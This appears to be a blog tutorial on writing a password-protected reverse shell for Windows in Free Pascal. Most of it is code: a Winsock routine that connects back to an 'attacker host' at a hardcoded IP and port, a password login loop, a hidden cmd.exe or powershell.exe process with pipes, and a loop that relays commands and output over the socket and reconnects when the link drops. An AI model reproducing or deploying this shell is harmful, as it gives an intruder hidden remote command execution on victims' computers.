image

we are going to use wssocket module with free pascal as coding language . our goal to execute cmd commands through socket connection by protecting our access with password .

Coding Connection Function .


function connection(Address : string;  port : Integer) : Integer;
 var
  sinsock           : TSocket;
  SockAddrIn        : TSockAddrIn;
  hostent           : PHostEnt;
begin
  disconnect(sinsock);
  sinsock := Winsock.socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(Port);
  SockAddrIn.sin_addr.s_addr := inet_addr(StringToPAnsiChar(address));
  if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
  begin
    HostEnt := gethostbyname(StringToPAnsiChar(Address));
    if HostEnt = nil then
    begin
      result := SOCKET_ERROR;
      Exit;
    end;
    SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
  end;                           //CHANGE MADE
  if Winsock.Connect(sinSock, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR Then
    result := SOCKET_ERROR
  else
    result := sinsock;
end;

above function will be responsible for using win sock to establish reverse connect request into attacker host .

the code function

so our connection is ready , lets prepare out socket calling and specific codes to

 WSAStartup($101, WSA);

in our reverse shell we are willing to use cmd.exe or powershell.exe as one should be included on socket transmission . so we have to handle memory correctly to avoid access violations exception while executing cmd commands inside socket .

FillMemory( @StartupInfo, sizeof( StartupInfo ), 0 );
FillMemory( @ProcessInfo, sizeof( ProcessInfo ), 0 );

Protect our access with password

accomplishing this by following code below

 while (1=1) Do begin
    revsock := connection(StringToPAnsiChar('10.10.1.1'), 4444); //connect

    if revsock <> SOCKET_ERROR Then Connected := True;
    while (Loggedin = False) and (Connected = True) Do begin //Login Loop
      if SendString(revsock, 'LLogin: ') < 1 then Connected := False;
      strrecv := RecvLn(revsock, #$A); //Waiting in blocking mode
      if strrecv = '0xsp' then begin     //password string
        LoggedIn := True;

        SendString(revsock,'PASCAL SHELL');

but of course another condition loop should implemented after the execution of main function of code

Creation of Pipes


//Create our Pipes
    CreatePipe(PipeInputRead, PipeInputWrite, @SecurityAttr, 0);
    CreatePipe(PipeOutputRead, PipeOutputWrite, @SecurityAttr, 0);


Creation of Process stuff


    FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
    FillChar(SecurityAttr, SizeOf(TSecurityAttributes), 0);
    SecurityAttr.nLength := SizeOf(SecurityAttr);
    SecurityAttr.bInheritHandle := true;
    SecurityAttr.lpSecurityDescriptor := nil;
    FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
    StartupInfo.cb:=SizeOf(StartupInfo);
    StartupInfo.hStdInput := PipeInputRead;
    StartupInfo.hStdOutput := PipeOutputWrite;
    StartupInfo.hStdError := PipeOutputWrite;
    StartupInfo.wShowWindow := sw_Hide;
    StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;

    //create new hidden cmd window with our pipes
     nameofexetuable:= 'cmd.exe'; // or powershell.exe
     UniqueString(nameofexetuable);
    CreateProcess(nil, PChar(nameofexetuable), nil, nil, True,CREATE_NEW_CONSOLE , nil, nil, StartupInfo, ProcessInfo);
    CloseHandle(PipeInputRead);
    CloseHandle(PipeOutputWrite);
    //non blocking mode for pipe
    Mode := PIPE_NOWAIT;
    SetNamedPipeHandleState(PipeOutputRead, Mode , nil, nil);
    //non blocking mode for socket
    Nonblocking := 1;
    ioctlsocket(revsock, FIONBIO, Longint(Nonblocking));

also please make sure to identify the following on variable section with related type .

  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
  SecurityAttr: TSecurityAttributes;
  PipeOutputRead: THandle;
  PipeOutputWrite: THandle;
  PipeInputRead: THandle;
  PipeInputWrite: THandle;

finalizing loops and execution assurance

the following code will be responsible for password validation and checking ,transmitting (read,write) sock from pipe .


while Connected Do begin
      GetExitCodeProcess(ProcessInfo.hProcess, ExitCode);
      if ExitCode <> STILL_ACTIVE then Break;//cmd still running?
      Sleep(50);
      repeat
        FillChar(buffer, BUFFER_SIZE, #0);
        ReadFile(PipeOutputRead, Buffer, BUFFER_SIZE, br, nil);
        if br > 0 Then SendBuf(revsock, buffer, br);
      until br < BUFFER_SIZE;   //read from pipe, send to socket

      Sleep(50);
      repeat
        FillChar(buffer, BUFFER_SIZE, #0);
        br2 := RecvBuf(revsock, buffer, BUFFER_SIZE);
        if br2 = SOCKET_ERROR Then Connected := False;
        if br2 > 0 then begin
          //here you could filter the input, to add your own commands
          WriteFile(PipeInputWrite, buffer, br2,br, nil);
        end;
      until br2 < BUFFER_SIZE; //read from socket, send to byte
    end;
    LoggedIn := False;   //fixup in the end
    TerminateProcess(ProcessInfo.hProcess,0);
    CloseHandle(PipeInputWrite);
    CloseHandle(PipeOutputRead);
    Disconnect(revsock);
    Sleep(1000); //wait one second befor try to reconnect
  end;

so not all code is released , there are related units should be called during , but the idea is to implement password for your shell .